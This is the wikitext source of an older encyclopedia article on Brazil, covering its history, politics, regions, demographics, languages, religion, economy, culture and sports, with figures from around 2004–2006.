|native_name = &lt;big&gt;&lt;big&gt;'''República Federativa do Brasil'''&lt;/big&gt;&lt;/big&gt;
|common_name = Brazil
|image_flag = Flag of Brazil.svg
|image_coat = Brasaorepublica.png
|image_map = LocationBrazil.png
|national_motto = ([[Portuguese language|Portuguese]]): Ordem e Progresso&lt;br&gt;(Translated: Order and Progress)''
|national_anthem =  ''[[Hino Nacional Brasileiro]]''
|official_languages = [[Portuguese language|Portuguese]]
|capital = [[Brasília]]
|latd=15 |latm=45 |latNS=S |longd=47 |longm=57 |longEW=W
|largest_city = [[São Paulo (city)|São Paulo]]
|government_type = [[Democracy|Democratic]] [[Federal republic|federal republic]]
|leader_titles = • [[President of Brazil|President]]&lt;br /&gt; • [[Vice President of Brazil|Vice President]]
|leader_names =[[Luiz Inácio Lula da Silva]]&lt;br /&gt;[[José Alencar Gomes da Silva]]
|area_rank =  5th
|area_magnitude = 1 E12
|area= 8,547,403
|areami²= 3,299,298 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|percent_water = 0.65
|population_estimate = 186,112,794
|population_estimate_rank = 5th
|population_estimate_year = 2004
|population_census = 
|population_census_year = 
|population_density = 22
|population_densitymi² = 57 &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
|population_density_rank = 150th
|GDP_PPP = $1.580 trillion 
|GDP_PPP_rank = 9th &lt;!-- World Bank (2004) --&gt;
|GDP_PPP_year= 2005 est.
|GDP_PPP_per_capita = $8,049 &lt;!-- World Bank (2004) cia.gov has a different amount; $8,500 --&gt;
|GDP_PPP_per_capita_rank = 70th
|sovereignty_type = Independence 
|established_events = From [[Portugal]]
|established_dates =  Declared:&amp;nbsp;[[September 7]] [[1822]]&lt;br /&gt;Recognized:&amp;nbsp;[[August 29]] [[1825]]
|HDI = 0.792
|HDI_rank = 63rd
|HDI_year = 2003
|HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt;
|currency =  [[Brazilian real|Real]]
|currency_code = BRL
|country_code = 
|time_zone = 
|utc_offset = -2 to -5 (Official: -3)
|time_zone_DST = 
|utc_offset_DST = 
|cctld = .br
|calling_code = 55
|footnotes = 
}}
{{portal}}

The '''Federative Republic of Brazil''' ([[Portuguese language|Portuguese]]: ''República Federativa do Brasil'', [[International Phonetic Alphabet|IPA]]: {{IPA|[ʁe'publikɐ fedeɾa'tʃivɐ du bɾa'ziw]}}{{ref|pronunciation}}) is the largest and [[List of countries by population|most populous country]] in [[Latin America]], and fifth largest in the world. Spanning a vast area between central [[South America]] and the [[Atlantic Ocean]], it is the easternmost country of the [[Americas]] and it borders [[Uruguay]], [[Argentina]], [[Paraguay]], [[Bolivia]], [[Peru]], [[Colombia]], [[Venezuela]], [[Guyana]], [[Suriname]] and the French department of [[French Guiana]]—every South American nation except for [[Ecuador]] and [[Chile]]. Named after [[brazilwood]] (''pau-brasil''), a tree highly valued by early colonists, Brazil is home to both extensive [[agriculture|agricultural]] lands and [[rain forest]]s. Exploiting vast natural resources and a large labor pool, it is South America's leading economic power and a regional leader. As a former [[colony]] of [[Portugal]], Portuguese is its [[official language]].

==History== 
{{main|History of Brazil}}

Brazil is thought to have been inhabited for at least 10,000 years by semi-nomadic populations when the first [[Portugal|Portuguese]] explorers, led by [[Pedro Álvares Cabral]], disembarked in 1500. Over the next three centuries, it was resettled by the Portuguese and exploited mainly for [[brazilwood]] (Pau-Brasil) at first, and later for [[sugarcane]] (Cana-de-Açúcar) agriculture and [[gold mining]]. The colony's source of manpower was initially on [[Slavery#Slavery in Brazil|enslaved]] [[Indigenous peoples in Brazil|Amerindians]], and after 1550, mainly [[African]] slaves. In 1808, Queen [[Maria I of Portugal]] and her son and regent, the future [[John VI of Portugal|João VI of Portugal]], fleeing from [[Napoleon I of France|Napoleon]], relocated to Brazil with the royal family, nobles and government. Though they returned to Portugal in 1821, the interlude led to the opening of commercial ports to the [[United Kingdom]] &amp;mdash; at the time isolated from most European ports by Napoleon &amp;mdash; and to the elevation of Brazil to the status of a united kingdom with Portugal's Crown. Then prince regent [[Peter I of Brazil|Dom Pedro I]] (later Pedro IV of Portugal) declared independence on [[7 September]] [[1822]], establishing the independent [[Empire of Brazil]]. As the crown remained in the hands of the [[House of Braganza|house of Bragança]], this was more the severance of the Portuguese empire in two, than an independence movement as seen elsewhere in the Americas. 
[[Image:Ouro_Preto.jpg|thumb|200px|left|[[Ouro Preto]], Historical city of [[XVIII century]].]]
The Brazilian Empire was theoretically a democracy in the [[Westminster system|British style]], although in practice, the emperor-premier-parliament balance of power more closely resembled the autocratic [[Austrian Empire]]. Slavery was abolished in 1888, and intensive European immigration created the basis for industrialization. Pedro I was succeeded by his son, [[Pedro II of Brazil|Pedro II]] &amp;mdash; who in old age was caught by a political dispute between the Army and the Cabinet, a crisis arising from the [[War of the Triple Alliance|Paraguay War]]. In order to avoid a civil war between Army and Navy, Pedro II renounced the throne on [[15 November]] [[1889]], when a [[federal republic]] was established by [[Marechal Deodoro da Fonseca|Field Marshal Deodoro da Fonseca]].

In the late [[19th century|19th]] and early [[20th century|20th]] centuries, Brazil attracted over 5 million [[Europe]]an and [[Japanese people|Japanese]] immigrants. That period also saw Brazil industrialize, further colonize, and develop its interior. Brazilian democracy was replaced by [[dictatorship]]s three times &amp;mdash; 1930&amp;ndash;1934 and 1937&amp;ndash;1945 under [[Getúlio Vargas]], and 1964&amp;ndash;1985, under a succession of generals appointed by the military. Today, Brazil is internationally considered a [[democracy]] since 1985, specifically a [[president]]ial democracy, which was kept after a [[plebiscite]] in 1993 where voters had to choose between a presidential or [[parliamentary system]]s, whilst also choosing if Brazil should reinstate its [[constitutional monarchy]].

==Politics== 
[[Image:Bras%C3%ADlia_-_Pra%C3%A7a_dos_tr%C3%AAs_poderes.jpeg|thumb|left|[[National Congress of Brazil]].]]
{{main|Politics of Brazil}}

The 1988 [[constitution]] grants broad powers to the federal government. The [[President of Brazil|President]] has extensive [[executive (government)|executive]] powers; he appoints the [[Cabinet of Brazil|Cabinet]], and he is also both [[head of state]] and [[head of government]]. The [[Presidents of Brazil|President]] and Vice-President are elected on the same ticket by popular vote for four-year terms.

The Brazilian [[legislature]], the bicameral National Congress or [[National Congress of Brazil|''Congresso Nacional'']], includes the Federal [[Senate]] or [[Federal Senate of Brazil|''Senado Federal'']] of 81 seats, of which three members from each state or federal district are elected according to the principle of majority to serve eight-year terms; one-third elected after a four-year period, two-thirds elected after the next four-year period. Beside the Senate there is the [[Chamber of Deputies]] or [[Chamber of Deputies of Brazil|''Câmara dos Deputados'']] of 513 seats, whose members are elected by [[proportional representation]] to serve four-year terms.

==Regions and States==
{{main|States of Brazil}}
Brazil consists of 26 states (''estados'', singular ''estado'') and 1 federal district (''distrito federal''):
[[Image:Br-map.png|thumb|200px|Map of Brazil]]
Brazil and its 26 states and Federal District are divided by [[IBGE]] into 5 distinctive [[region]]s: [[North Region, Brazil|North]], [[Northeast Region, Brazil|Northeast]], [[Center-West Region, Brazil|Center-West]], [[Southeast Region, Brazil|Southeast]] and [[South Region, Brazil|South]] ([[Regions of Brazil|Division by Regions]]).

*North: [[Acre (state)|Acre]], [[Amapá]], [[Amazonas]], [[Pará]], [[Rondônia]], [[Roraima]] and [[Tocantins (state)|Tocantins]]. 

The North constitutes 45.27% of the surface of Brazil and it is simultaneously the region with the lowest number of inhabitants. It is a fairly unindustrialized and undeveloped region, but it accommodates the largest rainforest of the world, the [[Amazon Rainforest|Amazon]], and many [[indigenous peoples of Brazil|indigenous]] tribes. 

[[Image:Praia_de_Fortaleza.jpg|thumb|180px|left|[[Fortaleza]] the State capital of [[Ceará]], located in northeastern Brazil.]]
*Northeast: [[Alagoas]], [[Bahia]], [[Ceará]], [[Maranhão]], [[Paraíba]], [[Pernambuco]], [[Piauí]], [[Rio Grande do Norte]] and [[Sergipe]].

The Northeast has 1/3 of Brazil's population. The region is culturally diverse, with roots from the [[Portugal|Portuguese]] colonial period, [[Afro-Brazilian]] culture and some [[Indigenous peoples in Brazil|Brazilian Indian]] influence. It is also the poorest region of Brazil, with long periods of [[dry]] [[climate]]. It is well-known for its beautiful [[coast]].

*Central-West: [[Goiás]], [[Mato Grosso]], [[Mato Grosso do Sul]] and [[Brazilian Federal District|Federal District]]. 

The Central-West is the second largest region of Brazil, but has a low demographic density, since most of the population is concentrated in large cities.  It is where the capital of Brazil, [[Brasília]], is located. The region also accommodates the [[Pantanal]], the world’s largest wetland area.


[[Image:BH11.jpg|thumb|180px|left|[[Belo Horizonte]] capital of [[Minas Gerais]] in Southeast region.]]
*Southeast: [[Rio de Janeiro (state)|Rio de Janeiro]], [[Espírito Santo]], [[Minas Gerais]] and [[São Paulo (state)|São Paulo]]
The Southeast is the richest and most populated region of Brazil. It has more inhabitants than any other South American country, with two of the largest [[megalopolis |megalopolises]] of the world: [[São Paulo]] and [[Rio de Janeiro]], the largest producer of oil and gas in Brazil. The region is very diverse, including the major business center of São Paulo, the [[Historical]] cities of Minas Gerais, the world famous beaches of Rio de Janeiro, and the Espírito Santo beautiful coast.

[[Image:Blumenau2.JPG|thumb|200px|right|Strong influence from [[German people|German]] immigrants in [[Blumenau]], Southern region]]
*South: [[Paraná]], [[Santa Catarina (state)|Santa Catarina]] and [[Rio Grande do Sul]]
The South is the wealthiest per capita region of Brazil, with the highest [[standard of living]] in the country.  It is also the [[temperature|coldest]] part of Brazil, with occasional occurrences of [[frost|frosts]] and [[snowstorms]]. The region has been heavily settled by [[European]] [[immigrants]], mainly [[German-Brazilian|Germans]] and [[Italian Brazilian|Italians]], and shows clear influences from both cultures.  

See also:
*[[List of cities in Brazil]] (all cities and municipalities)
*[[List of major cities in Brazil]] (metropolitan areas and major regional cities)

==Geography==
{{main|Geography of Brazil}}
Brazil is characterized by the extensive low-lying [[Amazon Rainforest]] in the north and a more open terrain of hills and low mountains to the south &amp;mdash; home to most of Brazil's population and its agricultural base. Along the [[Atlantic Ocean|Atlantic]] seacoast are also found several mountain ranges, reaching roughly 2,900 [[metre]]s (9,500&amp;nbsp;[[foot (unit of length)|ft]]) high. The highest peak is the [[Pico da Neblina]] at 2,994 metres (9,823&amp;nbsp;ft), in [[Guiana]]'s [[highlands]]. Major rivers include the [[Amazon River|Amazon]], the largest river in the world by volume, and often considered the world's longest; the [[Paraná River|Paraná]] and its major tributary, the [[Iguaçu]] River, where the impressive [[Iguaçu]] falls are located; the [[Rio Negro]], [[São Francisco River|São Francisco]], [[Xingu River|Xingu]], [[Madeira river|Madeira]] and the [[Tapajós]] rivers.
[[Image:Cataratas027.jpg|thumb|300px|[[Iguaçu]] Falls]]
Situated on the [[equator]], Brazil's [[climate]] is predominantly [[tropical climate|tropical]], with little seasonal variation.  Although the subtropical south is more temperate, it occasionally experiences frost and snow. [[precipitation (meteorology)|Precipitation]] is abundant in the humid [[Amazon Basin]], but more arid landscapes are found as well, particularly in the northeast.

A number of [[island]]s in the [[Atlantic Ocean]] are part of Brazil:
*[[Saint Peter and Paul Rocks]]
*[[Rocas Atoll]]
*[[Fernando de Noronha]]
*[[Trindade and Martim Vaz]]

==See also== 
* [[Protected areas of Brazil]]
* [[List of mountains in Brazil]]
* [[Extreme points of Brazil]]

==Demographics==
{{main|Demographics of Brazil}}
{{see also|Indigenous peoples in Brazil}}
[[Image:Saopaulo_paulista.jpg|right|thumb|200px|[[São Paulo]], the third largest city of the world]]

The dominant ancestry among Brazilians is the [[Portuguese-Brazilian|Portuguese]], descendants of the early colonists or of 19th and 20th centuries Portuguese immigrants. The settlement of Portuguese started in Brazil after 1532, when the active process of colonization began since the founding of [[São Vicente, São Paulo|São Vicente]]. Until independence in 1822, the Portuguese were the only [[European]] nation that successfully settled in Brazil, and most of Brazil's culture is based on that of [[Portugal]]. The [[Dutch people|Dutch]] and the [[French people|French]] also colonized Brazil during the 17th century, but their presence lasted only a few decades.

The original [[Amerindian]] population of Brazil (between 3-5 million) has in large part been exterminated or assimilated into the [[Portuguese people|Portuguese]] population. Since the beginning of Brazil's [[colonization]], intermarriage between the [[Portuguese people|Portuguese]] and [[Indigenous peoples in Brazil|Native Brazilians]] has been common. Nowadays, there are 700,000 Native-Americans in Brazil, composing less than 1% of the national population.
[[Image:Kuarup3.jpg|left|framed|[[Indigenous peoples in Brazil|Brazilian Indians]].]]

Brazil has a large [[black]] population, descended from [[African]] [[slaves]] brought to the country from the 16th century until the 19th century. More than 3 million Africans were brought to Brazil until the end of slave trafficking in 1850. They were mainly from [[Angola]], [[Nigeria]], [[Benin]], [[Togo]], [[Ghana]], the [[Ivory Coast]] and [[São Tomé e Príncipe]]. The African population in Brazil has mixed substantially with the Portuguese, resulting in a large [[mixed-race]] population. 

Beginning in the 19th century, the Brazilian government stimulated [[European]] [[immigration]] to substitute for the manpower of the former slaves. The first non-Portuguese [[immigrants]] to settle in Brazil were [[German-Brazilian|Germans]], in 1824. In 1869 the first [[Poles|Polish]] immigrants settled in Brazil. However, strong [[Immigration in Brazil|European immigration]] to Brazil began only after 1875, when immigration from [[Italy]], [[Portugal]] and [[Spain]] increased. According to the [http://www.memorialdoimigrante.sp.gov.br// Memorial do Imigrante], between 1870 and 1953, Brazil attracted nearly 5.5 million immigrants, [[Italian Brazilian|Italians]] (1,550,000), [[Portuguese-Brazilian|Portuguese]] (1,470,000), [[Spanish Brazilian|Spaniards]] (650,000), [[German-Brazilian|Germans]] (210,000), [[Japanese-Brazilian|Japanese]] (190,000), [[Poles]] or [[Russian people|Russian]] (120,000) and 650,000 of many other nationalities. Brazil is home to the largest [[Italian people|Italian]] population outside of Italy, with 25 million Italians and [[Italian Brazilian|Italian-descended Brazilians]].

Starting in the early 20th century, Brazil also received a large number of Asians: [[Korean people|Korean]], [[Chinese people|Chinese]], [[Taiwan]]ese, and [[Japanese people|Japanese]] immigrants. The Japanese are the largest [[Asian]] minority in Brazil, and [[Japanese-Brazilian]]s are the largest Japanese population outside of [[Japan]] (1.5 million). Significant immigration from the [[Middle-East]] ([[Lebanon]] and [[Syria]]) has also occurred.

Brazil's population is mostly concentrated along the coast, with a lower population density in the interior. The population of the southern states is mainly of European descent, while the majority of the inhabitants of the north and northeast are of mixed ancestry (Amerindians, Africans and Europeans).

===Ethnicity and race===
According to the 2000 [[IBGE]] census:

*white 53.7%
*mixed race 38.5%
*black 6.2%
*asian 0.5%
*amerindian 0.4%
*unspecified 0.7%

Brazil has a White majority and a very large number of mixed race people. Blacks are a significant minority, while Asians and Amerindians are a sizeable minority.

In Southern Brazil [[Italian Brazilian|Italian]] and [[German-Brazilian|German]] are the main white ethnic groups. Southeast Brazil has plenty of [[Portuguese-Brazilian|Portuguese]], [[Italian Brazilian|Italian]] and [[Spanish Brazilian|Spanish]] descendants, while in the rest of the country most whites are of old Portuguese stock. Minority ancestries includes [[Polish Brazilian|Polish]], [[Austrian people|Austrian]], [[Hungarian people|Hungarian]], [[Russian people|Russian]], [[Ukrainian people|Ukrainian]], [[Lithuania|Lithuanian]] and [[Swiss people|Swiss]], most of them concentrated in the South.
[[Image:Capoeira-in-the-street-2.jpg|right|thumb|300px|[[Afro-Brazilian]] [[Capoeira]] art]]

Brazilians of [[mixed-race]] ancestry are found in the whole country, although most of them live in the Northern and Northeastern states. Mixed-race Brazilians include [[mulatto]], [[caboclo]] (or [[mameluco]]) and [[cafuzo]]. The mulattoes,  those mixed white and black, make up the majority of them and predominate in the coast of Northeastern Brazil and other parts of the country. Caboclos, mixed white and Amerindian, are found in Northern region, parts of Northeast, Southeast (offsprings from [[bandeirantes]] and [[gauchos]]) and the cafuzos, those mixed black and Amerindian, are the less numerous group, living mainly in the Northeastern part of Brazil. However, most mixed race Brazilians are in fact tri-racial, mixed whites, blacks and Amerindians, in different degrees of mixture.

[[Black people|Black]] Brazilians are concentrated mostly in the Northeastern states, although large black populations can be found throughout the country. The black population in Brazil is probably higher than 6.2%, since many black Brazilians classify themselves as ''mixed-race'', due to local cultural and social aspects when considering the subject of race.

[[Arab Brazilian|Arab Brazilians]] are concentrated in the Southeastern states (mainly in [[São Paulo]]). The population of [[Arab]] descent in Brazil is between 5-8 million people, most of them of [[Christian]] [[Lebanese people|Lebanese]] or [[Syria|Syrian]] descent.

There is a considerable number of [[Japanese-Brazilian|Japanese]] descendants. Brazil has the largest Japanese descended population in the world outside of Japan, with estimated 1.5 million people.

[[Amerindian]] Brazilians are concentrated in the Northern states, mostly in the [[Amazonas|Amazon]] area.  [[Indian reservations]] make up 10% of Brazil's territory.

According to the 1988 Constitution, racism is an unbailable crime and must be met with imprisonment.{{ref|UN}}

==Languages==
[[Image:Corcovado_statue01_2005-03-14.jpg||250px|right|thumb|[[Corcovado]] hill in [[Rio de Janeiro]] with Jesus Christ the Redeemer statue]]

[[Portuguese language|Portuguese]] is the official language, and is spoken by nearly the entire population, with exception of some amerindian tribes and part of the population of some few isolated villages, European colonies. Brazil is the only Portuguese-speaking nation in [[the Americas]], giving it a national culture distinct from its [[Spanish language|Spanish]]-speaking neighbors.

Portuguese is the only official language of Brazil, and there are few regional variances. It is virtually the only language used in schools, newspapers, radio and TV, and for all business and administrative purposes.

The language spoken in Brazil is slightly different from that spoken in [[Portugal]] and other Portuguese-speaking countries. [[Brazilian Portuguese]] is less archaic than [[European Portuguese]], and has some phonological and orthographic differences, although mutual comprehension is not affected.

Spanish is understood in various degrees by most people, since it is very similar to Portuguese and is spoken in the border of Brazil with Spanish-speaking countries. [[English language|English]] continues to be part of the official high school curriculum, but very few people achieve any usable degree of fluency. However, on July 8, 2005, lusophone Brazil considered [[Spanish language|Spanish]] an important communication tool for its MERCOSUR relations; Furthermore, adopting Spanish as a second language. It will be taught in secondary school which will benefit 10 to 12 million students whenever the new bill comes in effect. (http://www.brazzilmag.com/content/view/3122/49)

Many minority languages are spoken daily throughout the vast national territory of Brazil. Half of these languages are spoken by indigenous peoples, mostly in Northern Brazil. The main indigenous languages are: [[Tupi language|Tupi]], [[Guarani language|Guarani]] (also in Paraguay), [[Kaingang language|Kaingang]], [[Nadëb language|Nadëb]], [[Carajá language|Carajá]], [[Caribe language|Caribe]], [[Tucano language|Tucano]], [[Arára language|Arára]], [[Terêna language|Terêna]], [[Borôro language|Borôro]], [[Apalaí language|Apalaí]], [[Canela language|Canela]] and many others.

Still others are spoken by communities of descendants of immigrants, who are for the most part bilingual, in rural areas of Southern Brazil. These communities speak dialects of [[Italian language|Italian]], [[German language|German]], [[Polish language|Polish]] or [[Japanese language|Japanese]] languages. The most dominant spoken Brazilian German dialect is [[Riograndenser Hunsrückisch]], a Brazilian variation of the [[Hunsrückisch]]
dialect of German. [[Talian]] is the main spoken [[Italian dialects|Italian dialect]] in Brazil, and is based on the [[Venetian Language]], which has its origin in Northern [[Italy]].

[[German language|German]] is spoken as first language by 1,500,000 people, [[Italian language|Italian]] is spoken by 500,000 [[Japanese language|Japanese]] by 400,000 and  [[Korean language]] by 37,000. However, these non-Portuguese speaking immigrants communities in Brazil are in full decline, especially among teenagers, who learn primary [[Portuguese language|Portuguese]].

==Religion==
[[Image:NS Aparecida.png|thumb|150px|[[Our Lady of Aparecida]] is the Patroness of Brazil.]]
''Main article: [[Religion in Brazil]]''

About 74% of the population in Brazil are [[Roman Catholic]]. Followers of [[Protestantism]] are rising in number, currently at 15.4%. [[Spiritism]] constitutes 1.3% of the population (about 2,3 million) and is the country with the most adepts of this religion. African traditional religions such as [[Candomblé]], Macumba, and Umbanda are the next largest groups.  There are around 120,000 members of the Jewish community (located mostly in São Paulo and Rio de Janeiro but also in Brasilia, Curitiba, Porto Alegre and other major towns) while Buddhism, Shinto, and other Asian religions are also sizeable. There are around 28,000 muslims, or 0.01% of the population.  Some practice a mixture of different religions, such as Catholicism, Candomble and indigenous American religion combined.

Brazil is the country with the largest [[Roman Catholic Church|Catholic]] population in the world, as well the country with the most members of [[Asia|Asian]] religions in the [[Western world]].

== Economy ==
{{main|Economy of Brazil}}
{{see also|List of Brazilian companies|Bovespa}}

Possessing large and well-developed [[agriculture|agricultural]], [[mining]], [[manufacturing]], and [[service sector]]s, as well as a large labor pool, Brazil's GDP (PPP) outweighs that of any other [[Latin America]]n country, and the country is expanding its presence in world markets. Major export products include [[airplanes]], [[coffee]], [[vehicles]], [[soybean]], [[iron ore]], [[orange juice]], [[steel]], [[textiles]], [[footwear]] and [[electrical equipment]]. 

After forming a fiscal adjustment program and pledging progress on structural reform, Brazil received a US$41.5 billion [[IMF]]-led international support program in November 1998. [http://www.canadianliberty.bc.ca/relatedinfo/BRAZIL'S_IMF_DISASTER.html] During the summer of 1998, investors expressed concerns that a downturn in economic growth was imminent. However, in January 1999, the Brazilian Central Bank announced that the [[Brazilian real|Real]] would no longer be related to the [[US dollar]] value. This devaluation helped moderate the downturn, and the country posted moderate [[Gross Domestic Product|GDP]] growth.

Economic growth slowed considerably in 2001 &amp;mdash; to less than 2% &amp;mdash; because of a slowdown in major markets, the hiking of interest rates by the Central Bank to reduce [[inflation]]ary pressures, and fears over the economic policies of the new elected government. Investor confidence was strong at the end of 2001, in part because of the strong recovery in the balance of trade. Chronic poverty remains a pressing problem.

After [[Lula da Silva|Luiz Inácio Lula da Silva]] took office on [[1 January]] [[2003]], there was some fear that his party radicals might provoke an economic about-face, and that Brazil might experience a financial crisis. However, the Brazilian economy seems to have detached itself from politics, and after a GDP increase of 0.5% in 2003, Brazil has allegedly enjoyed a robust growth in 2004. It is estimated that there will be moderate growth in 2005 and 2006. Despite this, Brazil has consistently dropped 11 positions on the [[WEF]] Growth Competitiveness Index ranking from 2003 to 2005 [http://www.weforum.org/pdf/Gcr/Growth_Competitiveness_Index_2003_Comparisons][http://www.weforum.org/site/homepublic.nsf/Content/Growth+Competitiveness+Index+rankings+2005+and+2004+comparisons]. However, as of January 10, 2006, the IMF has shown satisfaction[http://www.imf.org/external/np/speeches/2006/011006.htm] with Brazil's economic policies.

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot; class=&quot;wikitable&quot;
!colspan=4|Brazil Socioeconomic Rankings
|-
!Indicator
!World Rank
!Value
!Comparable countries
|-
|Total Nominal GDP ||14th ||604,855 million USD ||[[Australia]], [[Russia]]
|-
|Total PPP GDP''' ||9th ||1,461,564 million Int. Dollars ||[[Italy]], [[Russia]]
|-
|Per capita Nominal GDP ||74th ||3,325 USD ||[[Romania]], [[Dominica]]
|-
|Per capita PPP GDP ||70th ||8,049 Int. Dollars ||[[Bulgaria]], [[Thailand]]
|-
|[[Gini coefficient]] ||111th ||59.3 ||[[Paraguay]], [[Guatemala]]
|-
|Human Development Index ||63th ||0.792 ||[[Russia]], [[Romania]]
|}

==Poverty, illiteracy and income concentration==
[[Image:RiodeJaneiro-Favela.jpg|thumb|left|150px|[[Rocinha]], a [[Rio de Janeiro]] favela]]
Brazil currently has 45 million people living in conditions of [[poverty]]. This is a critical issue.

Poverty in Brazil can be seen in the large metropolitan areas (capitals) and in the &quot;pockets of poverty&quot; (upcountry regions with low rates of economic and social development). The [[Northeast]] has chronic problems as a result of its  [[dry]] [[climate]], with millions of people suffering [[hunger]] during the dry seasons. President [[Luiz Inácio Lula da Silva]] has proposed a program ([[Fome Zero]]) to mitigate this problem but its success is disputed.

About 8% of the Brazilian population is officially considered illiterate (''analfabetos'' in Portuguese) but over 30% of the total population do not have capacity to read and write texts, although a growing percentage show some writing and computing abilities.[http://www.ibge.gov.br/ibgeteen/datas/alfabetizacao/alfabetizacao.html]

==Technology==
 
Brazil has important technology poles located at [[São José dos Campos]] ([[aerospace]] and [[telecommunications]]) , [[Campinas]] ([[software]], [[computers]]) , [[São Carlos]], [[Rio de Janeiro]], [[Curitiba]], [[Porto Alegre]], [[Belo Horizonte]] and [[São Paulo]].

==International rankings==
[[Image:Amazon Rainforest.jpg|thumb|200px|A river in the Amazon rainforest]]
* [[A.T. Kearney]]/[[Foreign Policy|Foreign Policy Magazine]]: [http://www.atkearney.com/main.taf?p=5,4,1,116 Globalization Index 2005], ranked 57 out of 62 countries
* [[IMD International]]: [http://www01.imd.ch/wcy/ World Competitiveness Yearbook 2005], ranked 51 out of 60 economies (countries and regions)
* [[Reporters without borders]]: [http://www.rsf.org/rubrique.php3?id_rubrique=554 Fourth annual worldwide press freedom index (2005)], ranked 63 out of 167 countries
* [[Save the Children]]: [http://www.savethechildren.org/mothers/report_2005/ State of the World's Mothers 2005], ranked 50 out of 110 countries
* [[The Wall Street Journal]]: [http://www.heritage.org/research/features/index/ 2005] [[Index of Economic Freedom]], ranked 90 out of 155 countries
* [[The Economist]]: [http://www.economist.com/theworldin/international/displayStory.cfm?story_id=3372495&amp;d=2005 The World in 2005 - Worldwide quality-of-life index, 2005], ranked 39 out of 111 countries
* [[Transparency International]]: [http://www.transparency.org/pressreleases_archive/2004/2004.10.20.cpi.en.html Corruption Perceptions Index 2004], ranked 59 out of 146 countries 
* [[United Nations Development Programme]]: [http://hdr.undp.org/reports/global/2005/ Human Development Index 2005], ranked 63 out of 177 countries
* [[United Nations Development Programme]]: [http://hdr.undp.org/statistics/data/indicators.cfm?x=148&amp;y=2&amp;z=1 Inequality measures - GINI Index 2005], ranked 169 out of 177 countries
* [[World Economic Forum]]: [http://www.weforum.org/site/homepublic.nsf/Content/Global+Competitiveness+Programme%5CGlobal+Competitiveness+Report Global Competitiveness Report 2004-2005 - Growth Competitiveness Index Ranking], ranked 65 out of 104 countries
* [[Yale University|Yale University Center for Environmental Law and Policy]] and [[Columbia University|Columbia University Center for International Earth Science Information Network]]: [http://www.yale.edu/esi/ESI2005_Main_Report.pdf Index of Environmental Sustainability Index], ranked 11 out of 146 countries.

==Culture==
[[Image:CarnavalBrazilRio2005.jpg|thumb|right|200px|[[Brazilian Carnival]].]]

Brazil is a multiracial country, and its culture reflects the wide variety of ethnic groups found in the country: [[Amerindians]], [[Portuguese people|Portuguese]], [[Africans]], [[Italian people|Italians]], [[German people|Germans]], [[Spanish people|Spaniards]], [[Japanese people|Japanese]], [[Arabs]], etc. As result of intense mixing of peoples, a rich mix of different cultures has been synthesized. 

''Main article: [[Culture of Brazil]]''

* [[Brazilian Carnival]]
* [[Religion in Brazil]]
* [[Cuisine of Brazil]]
* [[List of Brazilians]]
* [[Literature of Brazil]]
* [[Music of Brazil]]
* [[Cinema of Brazil]]
* [[Holidays in Brazil]]
* [[Brazil Skyscrapers]]

==Sports==
{{main|Sports in Brazil}}
[[Image:Brazilian team soccer53467.jpeg|right|thumb|200px|The [[Brazil national football team]] scores a goal in Haiti.]]

The most popular sport in Brazil is [[Football (soccer)]]. The [[Brazil national football team|National Team]] is immensely popular, not only in Brazil but also in the many parts of the world where football is appreciated, and there is also a renowned National League, boasting a nation-wide competition as well as several regional competitions. The Brazilian national team has been victorious in the [[World Cup]] tournament a record five times. [[Pele]], one of the world's most recognized players, led Brazil to three of those championships. After the third time, Brazil kept the [[World Cup trophy]] permanently. Some of the contemporary talents in the national team prominent in the football world include [[Romário]], [[Rivaldo]] and [[Ronaldo]]. The current holder of the title of best football player in the world, according to [[FIFA]], is [[Ronaldinho]], who won the [[FIFA World Player of the Year]] prize in 2004 and 2005.

Three other variations of football are widely practiced by Brazilians, namely [[Futsal]], an indoor version with teams composed of 5 players, beach football, which originated in the beaches of [[Rio de Janeiro]] and [[Footvolley]], which is a mix of football and volleyball, where the players must use their feet and head to get the ball over the net and into the opponent's court, and is also played in sand.

Volleyball is also a very popular sport in Brazil. National and state leagues are popular and enjoy good public attendance. Television coverage is more limited. Brazil's national team has also been very successful, particularly in winning men's gold medals in the 1992 and 2004 Olympic Games. [[Beach volleyball]] has also given Brazilian athletes much success worldwide, today Brazil is the ruling country, with six of its players in the first six positions of FIVB ranking: these include Emanuel Rego, Ricardo Santos, Marcio Araujo and others.

Basketball is also popular, but lost popularity after the increased attention volleyball has gained recently. The Brazilian national team has won the [[Basketball World Championship]] twice, in 1959 and 1963. Brazilian [[Oscar Schmidt]] was one of the best basketball players of basketball history.  

Recently tennis has also raised interest. [[Gustavo Kuerten]] (a.k.a. Guga) reached number 1 status in the ATP world ranking in 2001, having won the Roland Garros French Open 3 times (1997, 2000 and 2001).

[[Auto racing]] has also been very popular for a very long time, and Brazil has produced some Formula One world champions: [[Emerson Fittipaldi]] (1972 and 1974), [[Nelson Piquet]] (1981, 1983 and 1987) and [[Ayrton Senna]] (1988, 1990 and 1991), as well as an [[Indy Racing League]] champion, [[Tony Kanaan]] in 2004.

Sailing is another strong sport, in spite of the fact that is an elite sport. 

[[Brazilian jiu-jitsu]], a regional martial art, is a significant extension to the original [[jiu-jitsu]]. It is renowned with martial artists throughout the world. 

See also:
* [[Brazil national football team]]
* [[Brazilian Football League Teams]]

Some fight sports with Brazilian origins have become popular around the world:
* [[Capoeira]]
* [[Vale tudo]]

{{sect-stub}}

==Flora and fauna==
[[Image:Golden_lion_tamarin_smithsonian.jpg|right|thumb|200px|[[Golden Lion Tamarin]] (Mico Leão Dourado in [[Portuguese language|Portuguese]]) , one of the most famous tipical brazilian animals.]]
* [[List of Brazilian mammals]]
* [[List of Brazilian birds]]
* [[List of Brazilian reptiles]]
* [[List of plants of Caatinga vegetation of Brazil]]
* [[List of plants of Cerrado vegetation of Brazil]]

==Notes==
{{note|pronunciation}} The pronunciation in this article reflects standard [[Brazilian Portuguese|Brazilian]] pronunciation. Other possible pronunciation in Brazil is {{IPA|[hɛ.'pu.bli.kɐ fe.de.ɾa.'tʃi.vɐ du bɾa.'ziw]}}.  The [[European Portuguese]] pronunciation of the official name of Brazil is: {{IPA|[ʁɛ.'pu.βli.ka fɨ.ðɨ.ɾɐ.'ti.vɐ du bɾɐ.'ziɫ]}}.

==See also==
[[Image:NAeSP.jpg|thumb|200px|[[NAeL São Paulo]],an [[aircraft carrier]] of the [[Brazilian Navy]]]]
* [[Military of Brazil]]
